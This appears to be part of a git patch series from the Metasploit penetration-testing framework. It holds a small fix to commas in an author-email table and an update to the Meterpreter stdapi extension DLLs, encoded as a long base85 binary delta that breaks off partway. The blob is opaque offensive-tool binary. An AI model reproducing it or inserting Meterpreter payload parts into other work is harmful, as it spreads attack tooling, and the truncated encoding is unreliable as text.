2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 17:30:50 -0500 Subject: [PATCH 167/210] Also this isn't Lua. Deal with commas. --- lib/msf/core/module/author.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index cbdec3e771..a28fa14a68 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -25,7 +25,7 @@ class Msf::Module::Author 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', - 'joev' => 'joev' + 0x40.chr + 'metasploit.com' + 'joev' => 'joev' + 0x40.chr + 'metasploit.com', 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', @@ -45,7 +45,7 @@ class Msf::Module::Author 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', 'todb' => 'todb' + 0x40.chr + 'metasploit.com', - 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', + 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com' } # From b477ae369bfc2beed1564fa97be0b19e22c611fc Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 10 Oct 2013 16:03:38 +1000 Subject: [PATCH 168/210] Updated stdapi binaries with railgun fix Changes are from https://github.com/rapid7/meterpreter/pull/28 --- data/meterpreter/ext_server_stdapi.x64.dll | Bin 405504 -> 406016 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 376832 -> 376832 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 16706a7a281d0364b5b86a2f43abc3c36b5df57b..5b7a8211eab7d3d73cefe27915f4ebab5c434397 100755 GIT binary patch delta 48520 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 